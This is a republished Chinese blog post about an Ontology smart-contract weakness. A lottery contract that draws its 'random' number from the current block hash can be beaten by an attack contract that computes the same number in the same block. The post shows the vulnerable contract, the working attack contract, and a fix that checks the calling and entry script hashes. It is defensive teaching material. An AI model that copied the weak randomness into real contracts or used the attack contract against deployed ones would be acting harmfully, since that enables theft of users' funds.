专栏首页本体研究院本体技术视点 | 智能合约安全与漏洞分析(一)

本体技术视点 | 智能合约安全与漏洞分析(一)

智能合约安全问题一直是区块链技术体系中探讨得比较多的话题之一。无论是以以太坊 EVM 虚拟机为代表的智能合约体系,还是以 EOS WASM 虚拟机为代表的智能合约体系,都或多或少地暴露过不同类型的智能合约漏洞。这些漏洞不仅使得项目方和用户损失惨重,而且也让用户对区块链的安全性产生了质疑。

——题记

01 引言

智能合约安全漏洞本身极少是由于区块链底层虚拟机引起的问题,其中大多数属于智能合约开发者本身编写的代码问题。

例如:当使用 Solidity 语言开发以太坊智能合约时,部分开发者对编写合约的语言并不是十分了解,因此增加了编写智能合约漏洞的风险。当然,也有少部分智能合约安全性漏洞和智能合约平台本身的一些特性相关。

另外,由于区块链技术中天然具有数据难以被篡改等特性,使得智能合约安全漏洞无法像传统应用那样通过程序升级或数据回滚等方式轻松解决。因此,智能合约开发者对区块链平台的智能合约体系的全面了解显得尤为重要。

本体智能合约目前使用 NeoVM 虚拟机,开发者可以使用他们所熟悉的语言,例如 C# 和 Python 等去编写智能合约,而无需再去学习一种新的语言,这极大地降低了智能合约开发的入门门槛。

但是,在大量的实践过程中,我们也了解并收集了一些本体智能合约开发过程中可能存在的安全问题。如果能有效避免这些安全隐患,项目方和用户就能够减少大量损失。

02 跨合约调用攻击

本期,我们讲解在本体上开发智能合约时可能遇到的一种漏洞攻击,即跨合约调用攻击

当开发者在编写智能合约时,可能需要随机数,一般情况下可以使用 Ontology Oracle 来获取外部可信随机源的数据。在简化情况下,有的开发者通过取当前区块的 hash 来作为随机数。我们主要针对在编写智能合约时使用当前区块 hash 作为随机数的场景,分析该种方式下智能合约开发可能遇到的安全性问题和相关解决方案。

2.1 存在漏洞的合约

下面是一个使用当前区块 hash 作为随机数的例子代码,我们称为应用合约一

from boa.interop.System.ExecutionEngine import GetCallingScriptHash, GetEntryScriptHash
from boa.interop.System.Runtime import Notify
from boa.interop.Ontology.Runtime import GetRandomHash

def Main(opration, args):
    if opration == "cannotAvoidContractCallAttack":
        guessNumber = args[0]
        return cannotAvoidContractCallAttack(guessNumber)
    return False

def cannotAvoidContractCallAttack(guessNumber):
    randomNumber = getRandomNumber()
    if guessNumber == randomNumber:
        Notify(["You have won the big prize!"])
    return True

def getRandomNumber():
    randomHash = GetRandomHash()
    randomNumber = abs(randomHash) % 100000000
    return randomNumber

可以看到,该合约使用 getRandomNumber() 方法获取到了当前区块 hash 作为随机数源,并做了一些简单的处理,用户猜测的数值如果和合约生成的数值相等,用户可以获得一定的奖励。

2.2 漏洞攻击

初看起来上述应用合约好像是没有什么问题,因为当前区块的 hash 无法被出块节点以外的用户预测。但是,针对以上合约,攻击者却可以编写另一本智能合约来调用并攻击它。 下面的攻击合约二展示了如何攻击上述应用合约一:

from boa.interop.System.App import RegisterAppCall
from boa.interop.Ontology.Runtime import GetRandomHash

ContractToBeAttacked = RegisterAppCall('被攻击合约hash', 'operation', 'args')

def Main(opration, args):
    if opration == "attack":
        methodToBeAttack = args[0]
        return attack(methodToBeAttack)
    return False

def attack(methodToBeAttack):
    randomNumber = getRandomNumber()
    return ContractToBeAttacked(methodToBeAttack, [randomNumber])
    
def getRandomNumber():
    randomHash = GetRandomHash()
    randomNumber = abs(randomHash) % 100000000
    return randomNumber

可以看到,攻击者编写了另外一本智能合约来调用应用合约,攻击者合约使用和应用合约相同的随机数生成算法,攻击者合约的执行和应用合约的执行在同一个区块中。

因此,攻击者合约可以知道当前应用合约生成的随机数,这样攻击者可以通过产生和当前应用合约一样的随机数而一直赢得游戏。

03 跨合约调用攻击的防范

那么,针对这种情况,智能合约开发者如何才能防范此种类型的攻击呢?

可以看到,只要阻止应用合约一被攻击合约二调用,就可以防范跨合约调用攻击。本体智能合约开发者可以使用 GetCallingScriptHash() GetEntryScriptHash() 这两个方法来解决这个问题。

下面是在应用合约一基础上经过修改的应用合约三,该合约可以抵抗上述攻击。

from boa.interop.System.ExecutionEngine import GetCallingScriptHash, GetEntryScriptHash
from boa.interop.System.Runtime import Notify
from boa.interop.Ontology.Runtime import GetRandomHash

def Main(opration, args):
    if opration == "avoidContractCallAttack":
        guessNumber = args[0]
        return avoidContractCallAttack(guessNumber)
    return False

def avoidContractCallAttack(guessNumber):
    randomNumber = getRandomNumber()
    callerHash = GetCallingScriptHash()
    entryHash = GetEntryScriptHash()
    Notify(["randomNumber:", randomNumber, "guessNumber:", guessNumber])
    if callerHash != entryHash:
        Notify(["You are not allowed to invoke this method through contract!"])
        return False
    else:
        Notify(["You can implement what you need to do here!"])
        if guessNumber == randomNumber:
            Notify(["You have won the big prize!"])
        return True
        
def getRandomNumber():
    randomHash = GetRandomHash()
    randomNumber = abs(randomHash) % 100000000
    return randomNumber

GetCallingScriptHash() 可以得到调用当前智能合约的合约 hash,而 GetEntryScriptHash() 可以得到调用合约入口的合约 hash。当调用当前合约的合约 hash 和调用入口的合约 hash 不是同一个 hash 时,我们可以判定当前智能合约的调用者为另外的智能合约,而不是用户使用钱包地址在调用当前这本合约。通过此种方式,我们就能很好地防范智能合约被跨合约调用攻击。

04 后记

本期列举了本体智能合约开发者在进行智能合约开发时可能遇到的一种攻击类型,这种类型的智能合约攻击比较隐晦。如果开发者对智能合约本身不是特别的了解,可能很难预知并防范这种漏洞攻击。在之后的技术视点中,我们将会展示更多的漏洞攻击类型,帮助本体智能合约开发者更好地避免合约开发中可能存在的漏洞。

同时,本体智能合约开发者可以使用本体智能合约集成开发环境 SmartX 中深度集成的高度自动化智能合约形式化验证平台 VaaS-ONT 来“一键式”精确定位到有风险的代码位置,迅速找出原因,有效验证智能合约或区块链应用的常规安全漏洞、安全属性和功能正确性,从而显著提高安全等级。

本文分享自微信公众号 - 本体研究院(ontologyresearch),作者:Sososo

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-05-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 本体技术视点 | Python跨合约静态调用是如何实现的?

    上一期我们介绍了合约升级 API,讲述了如何销毁和迁移智能合约。本期我们讨论如何跨合约静态调用。API 只有一个,用法如下:

    本体Ontology
  • 本体技术视点 | 一文读懂Substrate的合约机制(一)

    本期我们分享来自本体技术团队的一篇文章的第一部分,关于 Substrate 的合约机制分析。

    本体Ontology
  • 本体技术视点 | Python智能合约终极篇:合约执行引擎API

    在前两期的本体技术视点中,我们介绍了跨合约静态调用与动态调用,讲述了如何使用 RegisterAppCall API 与 DynamicAppCall API ...

    本体Ontology
  • 理解智能合约

    这是「区块链技术指北」的第 22 篇文章。 如果对我感兴趣,想和我交流,我的微信号:Wentasy,加我时简单介绍下自己,并注明来自「区块链技术指北」。同时我会...

    robinwen
  • 以太坊合约审计 CheckList 之“以太坊智能合约编码隐患”影响分析报告

    在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,我们把超过10个问题点归结为开发者容易忽略的问题隐患,其中包括“语法...

    Seebug漏洞平台
  • 快速学习-以太坊合约的创建和自毁

    cwl_java
  • 以太坊智能合约示例

    用户1408045
  • 关于区块链安全的实际性思考

    区块链(Blockchain)是比特币的一个重要概念,它本质上是一个去中心化的数据库,同时作为比特币的底层技术。区块链是一串使用密码学方法相关联产生的数据块,每...

    C4rpeDime
  • 智能合约初探:概念与演变

    自2009年比特币开启区块链时代以来,近10年里,随着技术与生态的发展,基于区块链的分布式应用(dapp)呈现出井喷的趋势,而支撑着dapp的底层技术就是“区块...

    区块链大本营
  • 区块链技术开发公司谈智能合约的作用

      区块链技术的出现到现在,已经接近10年了。区块链本质上是一个分布式数据库,伴随其诞生的数字货币比特币也成为炙手可热的高价值数字资产。从一开始的数字货币,发展...

    YY谈网络那些事

扫码关注云+社区

领取腾讯云代金券